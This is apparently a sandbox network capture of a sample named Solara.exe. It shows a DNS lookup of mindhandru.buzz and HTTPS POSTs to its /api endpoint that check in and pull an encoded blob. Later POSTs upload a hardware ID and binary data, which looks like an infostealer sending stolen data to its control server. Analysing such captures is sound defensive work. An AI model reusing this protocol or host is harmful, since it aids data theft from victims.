Dec 27, 2024 16:21:12.352478981 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.352591038 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.591502905 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.591679096 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.591730118 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.591846943 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.635371923 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.807954073 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:14.826925993 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:14.827045918 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:14.827112913 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:14.827398062 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:14.827440977 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:14.888715029 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:14.888766050 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:14.888838053 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:14.889338970 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:14.889353037 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.149838924 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.149908066 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.151004076 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.151015043 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.151349068 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.153666973 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.153687954 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.153748989 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.932926893 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.932988882 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.933028936 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.933048964 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.933079004 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.933116913 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.933125019 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.933162928 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.933202982 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.933211088 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.941299915 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.941348076 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.941356897 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.953056097 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.953118086 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.953126907 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.961309910 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.961364985 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.961371899 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.961400032 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.961443901 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.961502075 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.961517096 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:16.961541891 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:16.961546898 CET	443	49741	172.67.165.185	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 16:20:56.475796938 CET	62635	53	192.168.2.4	1.1.1.1
Dec 27, 2024 16:20:56.774569988 CET	53	62635	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 16:20:56.475796938 CET	192.168.2.4	1.1.1.1	0x876d	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 16:20:56.774569988 CET	1.1.1.1	192.168.2.4	0x876d	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 16:20:56.774569988 CET	1.1.1.1	192.168.2.4	0x876d	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:20:58 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 15:20:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 15:20:58 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:20:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ig2n8u9p734sh8igvj3ao0nln4; expires=Tue, 22 Apr 2025 09:07:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hmx9c0dfrBn5pjxilVhZLSk0cP6aJJnbdnisovylQBx%2BIZwbrzZapaCIwo2JQD77E3NPYQV6c9zcHZi7shLWFON%2FycOQ7swOFq%2B%2FoyigQnbfPT%2F7MZB0QkO7YqywYXlR6RA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c349a3ac45c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1686&min_rtt=1685&rtt_var=634&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1722713&cwnd=243&unsent_bytes=0&cid=4b93e7863f7879ac&ts=787&x=0"
2024-12-27 15:20:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 15:20:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:00 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: mindhandru.buzz
2024-12-27 15:21:00 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--629912535&j=
2024-12-27 15:21:00 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q8lggsegttov11ps0mcdtprcp0; expires=Tue, 22 Apr 2025 09:07:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UQdRevtfeoGmXdZKKwAcyDQn%2B2XBK2Xcm4fdNz7azALi4Gedq5WgrZPk0FHabcWjRHUk5kjOMEYvMXgmY%2FFXxSz7m2R1igf94w6R1GnB5sSUNb8b4PKUt3CpOY7h1EloHnk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c41bfca3354-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1820&rtt_var=693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=950&delivery_rate=1567364&cwnd=114&unsent_bytes=0&cid=453e86b631579a5b&ts=791&x=0"
2024-12-27 15:21:00 UTC	248	IN	Data Raw: 63 34 33 0d 0a 71 77 77 67 65 37 2b 48 67 73 65 74 54 4b 66 64 64 71 72 58 76 7a 62 64 4c 71 64 49 4a 58 35 73 4e 2f 4e 61 36 53 77 43 6a 4d 6a 51 4c 6c 5a 5a 68 62 4f 75 35 64 34 70 68 65 63 43 32 4b 4c 61 47 76 39 50 77 32 6f 66 47 41 31 62 67 44 2f 46 44 6e 54 68 36 70 46 71 51 52 66 4d 34 71 37 6c 79 44 53 46 35 79 33 52 39 64 70 59 2f 78 53 46 4c 55 38 63 44 56 75 52 4f 34 4a 44 63 75 43 72 77 32 42 48 45 39 72 6b 35 71 62 42 49 63 4b 34 45 38 75 39 30 56 2b 77 52 73 70 71 43 56 77 4a 54 64 46 67 79 32 46 6e 2b 4b 6e 6d 62 56 4d 51 6e 66 71 75 76 49 38 70 79 66 39 4d 69 4c 62 61 56 4c 46 49 77 79 4e 4e 46 67 52 54 6b 44 36 44 58 47 76 71 6f 4d 4e 75 52 42 4c 51 37 66 4b 72 79 79 62 4a 76 68 6e 4c 39 5a 4d 55 75 46 53 46 63 67 64 Data Ascii: c43qwwge7+HgsetTKfddqrXvzbdLqdIJX5sN/Na6SwCjMjQLlZZhbOu5d4phecC2KLaGv9Pw2ofGA1bgD/FDnTh6pFqQRfM4q7lyDSF5y3R9dpY/xSFLU8cDVuRO4JDcuCrw2BHE9rk5qbBIcK4E8u90V+wRspqCVwJTdFgy2Fn+KnmbVMQnfquvI8pyf9MiLbaVLFIwyNNFgRTkD6DXGvqoMNuRBLQ7fKryybJvhnL9ZMUuFSFcgd
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 50 50 46 61 41 4b 5a 35 44 63 4f 6a 71 31 69 42 62 57 64 72 70 6f 50 32 50 4a 73 6d 78 45 63 75 36 32 6c 57 2f 58 73 6f 71 52 42 51 47 55 5a 73 33 68 45 46 75 35 4b 33 42 5a 30 55 57 32 75 33 6d 71 73 78 75 69 2f 38 54 30 50 57 46 46 4a 39 63 78 69 6c 54 45 52 38 56 6a 6e 61 53 44 6d 66 69 36 70 45 75 52 42 66 63 36 4f 43 33 78 79 58 4f 75 67 62 44 76 4e 42 5a 76 30 48 50 4a 55 51 63 43 56 2b 62 4e 34 46 4b 62 65 4f 73 79 57 34 43 56 35 33 69 2b 4f 57 58 62 75 61 36 42 4d 2b 35 79 78 61 46 44 4e 70 6b 58 6c 77 4a 57 64 46 67 79 30 5a 6c 37 61 6e 43 59 55 45 52 31 76 66 67 74 38 6b 6a 77 4b 30 53 7a 62 76 58 56 36 31 47 79 79 78 45 46 51 56 63 6c 44 2b 50 44 69 36 75 72 64 45 75 47 6c 6e 38 36 4f 75 70 78 54 6e 46 2f 77 75 47 72 4a 31 54 73 77 79 64 61 6b Data Ascii: PPFaAKZ5DcOjq1iBbWdrpoP2PJsmxEcu62lW/XsoqRBQGUZs3hEFu5K3BZ0UW2u3mqsxui/8T0PWFFJ9cxilTER8VjnaSDmfi6pEuRBfc6OC3xyXOugbDvNBZv0HPJUQcCV+bN4FKbeOsyW4CV53i+OWXbua6BM+5yxaFDNpkXlwJWdFgy0Zl7anCYUER1vfgt8kjwK0SzbvXV61GyyxEFQVclD+PDi6urdEuGln86OupxTnF/wuGrJ1Tswydak
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 33 33 69 4d 56 69 43 32 36 75 4e 74 56 68 72 58 70 39 57 6d 77 53 44 43 71 56 54 58 2b 38 51 55 75 45 43 46 63 67 63 52 44 31 32 58 4b 6f 52 44 59 2b 43 6b 78 6d 74 4e 45 64 33 6c 37 61 44 4c 4a 63 36 38 47 63 79 6e 31 31 53 33 53 63 51 67 54 56 78 41 46 5a 59 67 79 78 59 67 33 37 33 43 4c 48 63 61 30 2b 76 6e 73 34 38 78 69 36 5a 55 7a 37 6d 64 44 50 39 42 7a 53 39 43 45 77 39 66 6e 7a 32 42 51 6d 6a 67 71 64 74 68 52 68 6e 52 37 65 71 6f 77 53 72 4e 74 68 2f 44 73 39 31 56 74 51 79 4c 61 6b 41 45 54 67 33 52 44 49 78 43 62 65 48 6f 2f 47 31 4d 46 39 72 7a 6f 4c 71 42 4e 34 57 34 47 49 6a 74 6e 56 69 32 54 4d 34 67 51 78 77 4a 57 4a 51 37 6a 45 31 74 36 61 44 48 61 55 59 56 31 4f 6a 6d 70 63 67 71 77 4b 30 52 77 62 6e 52 46 50 45 4d 77 6a 49 48 52 45 35 Data Ascii: 33iMViC26uNtVhrXp9WmwSDCqVTX+8QUuECFcgcRD12XKoRDY+CkxmtNEd3l7aDLJc68Gcyn11S3ScQgTVxAFZYgyxYg373CLHca0+vns48xi6ZUz7mdDP9BzS9CEw9fnz2BQmjgqdthRhnR7eqowSrNth/Ds91VtQyLakAETg3RDIxCbeHo/G1MF9rzoLqBN4W4GIjtnVi2TM4gQxwJWJQ7jE1t6aDHaUYV1OjmpcgqwK0RwbnRFPEMwjIHRE5
2024-12-27 15:21:00 UTC	160	IN	Data Raw: 78 59 67 35 36 50 62 59 45 77 51 30 4f 50 6f 6f 73 45 6a 7a 72 6b 66 7a 37 4c 62 57 62 64 42 77 43 6c 47 47 41 52 48 6b 6a 4f 42 51 32 71 75 35 49 6c 70 57 6c 6d 46 70 63 65 70 35 6a 37 65 72 51 4b 49 71 70 4e 4e 2f 30 76 4a 61 68 39 63 44 56 71 59 4e 34 4e 47 62 2b 47 75 78 32 68 45 46 4e 6a 71 36 72 66 48 49 4d 69 30 47 38 4f 6e 33 56 6d 37 51 4d 45 69 54 42 5a 4f 47 39 45 2f 6b 77 34 34 72 70 2f 45 59 55 49 61 79 36 58 2f 36 39 5a 75 77 72 4e 55 6b 50 58 52 57 72 39 0d 0a Data Ascii: xYg56PbYEwQ0OPoosEjzrkfz7LbWbdBwClGGARHkjOBQ2qu5IlpWlmFpcep5j7erQKIqpNN/0vJah9cDVqYN4NGb+Gux2hEFNjq6rfHIMi0G8On3Vm7QMEiTBZOG9E/kw44rp/EYUIay6X/69ZuwrNUkPXRWr9
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 33 63 64 39 0d 0a 44 79 53 5a 4d 46 41 39 5a 6e 7a 2b 4f 52 32 6a 6d 75 4d 68 71 53 68 6a 54 36 75 47 68 79 69 76 42 75 42 44 4f 75 70 30 61 2f 30 76 64 61 68 39 63 49 58 4b 6b 65 71 70 30 49 50 48 6b 30 43 35 46 46 5a 32 39 6f 4b 6e 4d 49 73 32 77 45 73 47 35 31 31 32 30 51 4d 34 75 53 78 55 4c 55 35 41 39 6a 6b 39 6b 34 71 44 50 62 55 45 57 30 75 72 6f 35 59 46 75 77 71 64 55 6b 50 58 34 51 37 52 43 77 32 70 59 55 68 63 56 6c 6a 54 4c 46 69 44 69 6f 38 39 6f 52 78 58 63 34 2b 69 67 78 79 72 45 75 52 4c 4c 75 74 6c 52 76 6b 50 42 4a 6b 6b 57 44 31 53 64 4d 34 52 46 5a 61 37 6b 69 57 6c 61 57 59 57 6c 30 61 62 5a 4f 64 57 7a 56 4e 66 37 78 42 53 34 51 49 56 79 42 78 30 63 58 35 73 32 6a 6b 46 6c 37 61 58 4f 59 30 51 56 31 2b 7a 6f 6f 38 41 6e 31 37 77 59 Data Ascii: 3cd9DySZMFA9Znz+OR2jmuMhqShjT6uGhyivBuBDOup0a/0vdah9cIXKkeqp0IPHk0C5FFZ29oKnMIs2wEsG51120QM4uSxULU5A9jk9k4qDPbUEW0uro5YFuwqdUkPX4Q7RCw2pYUhcVljTLFiDio89oRxXc4+igxyrEuRLLutlRvkPBJkkWD1SdM4RFZa7kiWlaWYWl0abZOdWzVNf7xBS4QIVyBx0cX5s2jkFl7aXOY0QV1+zoo8An17wY
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 43 79 54 4e 63 6c 51 42 73 48 58 6f 4d 79 6a 45 6c 72 35 71 48 47 61 46 41 56 30 2f 66 6c 74 39 31 75 69 2f 38 54 30 50 57 46 46 49 6c 4c 31 54 70 45 58 6a 39 44 6b 69 36 41 51 32 79 75 74 59 64 33 41 68 37 52 70 62 6a 6c 79 53 48 4d 76 42 76 4a 76 4e 46 5a 75 6b 58 41 4b 30 45 59 42 46 2b 52 50 6f 31 50 5a 65 53 70 79 47 52 4c 48 74 58 69 34 37 65 50 59 49 57 34 44 49 6a 74 6e 58 32 34 58 73 73 36 42 77 4e 41 54 4e 45 2f 68 77 34 34 72 71 37 44 59 55 59 65 30 65 50 6c 6f 38 49 76 79 72 34 55 78 37 48 57 58 62 6c 4e 79 43 39 4b 47 42 78 66 6d 6a 65 48 52 32 7a 6a 36 6f 63 75 52 51 47 64 76 61 43 55 77 69 44 4c 75 41 4b 49 71 70 4e 4e 2f 30 76 4a 61 68 39 63 44 31 6d 65 4f 34 52 4e 59 2b 2b 67 32 33 78 4f 45 4e 58 67 37 4b 37 42 4b 4e 65 35 47 38 47 32 33 Data Ascii: CyTNclQBsHXoMyjElr5qHGaFAV0/flt91ui/8T0PWFFIlL1TpEXj9Dki6AQ2yutYd3Ah7RpbjlySHMvBvJvNFZukXAK0EYBF+RPo1PZeSpyGRLHtXi47ePYIW4DIjtnX24Xss6BwNATNE/hw44rq7DYUYe0ePlo8Ivyr4Ux7HWXblNyC9KGBxfmjeHR2zj6ocuRQGdvaCUwiDLuAKIqpNN/0vJah9cD1meO4RNY++g23xOENXg7K7BKNe5G8G23
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 46 5a 41 63 4e 43 55 54 52 59 4a 31 65 64 2b 6d 31 68 33 63 43 48 74 47 6c 75 4f 58 4a 4a 38 4f 34 45 73 61 6e 32 46 4b 77 51 38 77 6a 51 78 51 4e 56 5a 55 38 6a 45 74 6a 34 71 48 4f 62 55 30 64 31 4f 76 70 71 6f 39 67 68 62 67 4d 69 4f 32 64 64 61 52 50 79 53 63 48 41 30 42 4d 30 54 2b 48 44 6a 69 75 70 73 64 72 51 68 50 62 34 65 57 6a 78 53 76 46 74 42 66 48 73 64 74 51 73 45 7a 4f 49 30 59 61 43 31 2b 61 50 6f 5a 4e 5a 75 6a 71 68 79 35 46 41 5a 32 39 6f 49 58 55 49 38 6d 34 56 4e 66 37 78 42 53 34 51 49 56 79 42 78 63 43 55 5a 59 34 68 6b 31 6f 36 36 37 44 61 30 49 52 7a 2b 33 67 6f 74 30 38 78 62 59 52 78 4c 62 64 55 4c 6c 46 77 79 6c 44 58 45 41 56 6c 69 44 4c 46 69 44 44 70 73 35 48 52 51 4b 64 2b 71 36 38 6a 79 6e 4a 2f 30 79 49 74 4e 5a 65 73 45 Data Ascii: FZAcNCUTRYJ1ed+m1h3cCHtGluOXJJ8O4Esan2FKwQ8wjQxQNVZU8jEtj4qHObU0d1Ovpqo9ghbgMiO2ddaRPyScHA0BM0T+HDjiupsdrQhPb4eWjxSvFtBfHsdtQsEzOI0YaC1+aPoZNZujqhy5FAZ29oIXUI8m4VNf7xBS4QIVyBxcCUZY4hk1o667Da0IRz+3got08xbYRxLbdULlFwylDXEAVliDLFiDDps5HRQKd+q68jynJ/0yItNZesE
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 58 41 38 56 79 51 47 53 44 6e 61 75 38 70 73 67 41 67 75 64 76 61 44 69 7a 44 7a 58 75 52 66 65 74 70 70 71 67 57 76 54 49 45 41 4d 43 55 4b 65 65 4d 55 4f 62 36 37 79 38 43 35 4c 48 73 62 30 39 71 6a 66 4b 59 57 41 57 6f 69 74 6e 51 7a 2f 65 63 59 6b 53 52 73 59 52 4e 77 66 6e 55 52 6e 2f 71 33 65 59 51 4a 58 6e 65 4f 67 2f 5a 78 67 68 62 73 46 69 4f 32 4e 42 75 51 5a 6c 6e 30 58 54 68 45 62 69 48 69 64 44 6a 69 38 35 49 6c 38 41 6b 47 64 6f 75 4f 33 33 53 6a 47 71 52 65 50 69 2b 4e 7a 70 55 48 44 50 56 59 69 4d 46 4b 4c 4e 59 31 5a 63 61 4b 2f 79 6d 42 4d 48 73 75 6c 72 75 58 41 62 70 32 47 56 49 44 31 34 68 72 2f 56 49 56 79 42 79 6b 4e 57 35 38 2f 6e 56 38 74 79 62 44 45 61 46 55 49 6e 61 75 67 6f 34 39 32 6c 66 46 55 7a 4b 53 64 44 4f 38 65 6e 6e 38 Data Ascii: XA8VyQGSDnau8psgAgudvaDizDzXuRfetppqgWvTIEAMCUKeeMUOb67y8C5LHsb09qjfKYWAWoitnQz/ecYkSRsYRNwfnURn/q3eYQJXneOg/ZxghbsFiO2NBuQZln0XThEbiHidDji85Il8AkGdouO33SjGqRePi+NzpUHDPVYiMFKLNY1ZcaK/ymBMHsulruXAbp2GVID14hr/VIVyBykNW58/nV8tybDEaFUInaugo492lfFUzKSdDO8enn8
2024-12-27 15:21:00 UTC	1369	IN	Data Raw: 59 59 33 74 58 42 31 37 61 54 48 61 56 51 49 6e 61 75 67 71 6f 39 32 2f 50 39 63 69 49 71 54 46 4b 63 4d 6e 57 70 79 48 77 42 62 6c 69 36 61 41 30 66 67 72 63 68 34 55 67 37 53 70 61 37 6c 79 57 36 64 37 56 71 49 73 63 77 55 35 78 79 58 63 52 4a 50 57 51 58 44 4a 38 56 58 49 50 6a 71 6b 54 77 4d 57 63 2b 6c 75 4f 57 49 4c 64 65 74 45 73 75 6a 33 68 4f 42 63 75 49 6b 51 42 30 59 52 59 59 33 78 47 42 57 7a 35 54 33 65 30 45 58 30 2b 4c 32 74 49 39 67 68 62 42 55 6b 49 79 64 48 50 39 7a 69 32 70 66 58 46 59 56 70 44 75 46 51 47 66 34 75 34 52 4a 54 42 37 63 38 2f 43 79 77 47 48 72 69 54 57 49 2b 35 31 53 2f 78 53 58 5a 41 63 59 48 78 58 4a 61 4e 6b 56 4e 62 33 39 6d 54 78 64 56 38 53 6c 39 75 57 58 66 49 76 2f 42 6f 6a 74 6e 52 4f 38 58 74 63 73 52 41 6f 4e Data Ascii: YY3tXB17aTHaVQInaugqo92/P9ciIqTFKcMnWpyHwBbli6aA0fgrch4Ug7Spa7lyW6d7VqIscwU5xyXcRJPWQXDJ8VXIPjqkTwMWc+luOWILdetEsuj3hOBcuIkQB0YRYY3xGBWz5T3e0EX0+L2tI9ghbBUkIydHP9zi2pfXFYVpDuFQGf4u4RJTB7c8/CywGHriTWI+51S/xSXZAcYHxXJaNkVNb39mTxdV8Sl9uWXfIv/BojtnRO8XtcsRAoN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:02 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DUA4BN7M2HKUX0SZMMZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18173 Host: mindhandru.buzz
2024-12-27 15:21:02 UTC	15331	OUT	Data Raw: 2d 2d 44 55 41 34 42 4e 37 4d 32 48 4b 55 58 30 53 5a 4d 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 36 42 39 35 38 32 30 30 38 37 30 32 39 38 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 44 55 41 34 42 4e 37 4d 32 48 4b 55 58 30 53 5a 4d 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 55 41 34 42 4e 37 4d 32 48 4b 55 58 30 53 5a 4d 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 Data Ascii: --DUA4BN7M2HKUX0SZMMZContent-Disposition: form-data; name="hwid"8B6B958200870298D0F23BE3BFA4D7B0--DUA4BN7M2HKUX0SZMMZContent-Disposition: form-data; name="pid"2--DUA4BN7M2HKUX0SZMMZContent-Disposition: form-data; name="lid"yau6Na--62
2024-12-27 15:21:02 UTC	2842	OUT	Data Raw: b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa Data Ascii: e,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
2024-12-27 15:21:03 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r73ei6igf73q7cogibbn2c227b; expires=Tue, 22 Apr 2025 09:07:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w9sKWUfDGHbDIFj1TL0F4ePwD53wb9fIEzG3ohSMHWm8ZWo6ryBMkHCVj8VFf8m7uLUike8EHLoPu9sl0j%2BFdh6oUONAWwYWzSMbj0p6wdAD5XGDHUNAT0b%2F68EeRPzEYEk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c4feca54232-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1749&rtt_var=661&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19135&delivery_rate=1669525&cwnd=217&unsent_bytes=0&cid=80c1e5a3fd0f3297&ts=1070&x=0"
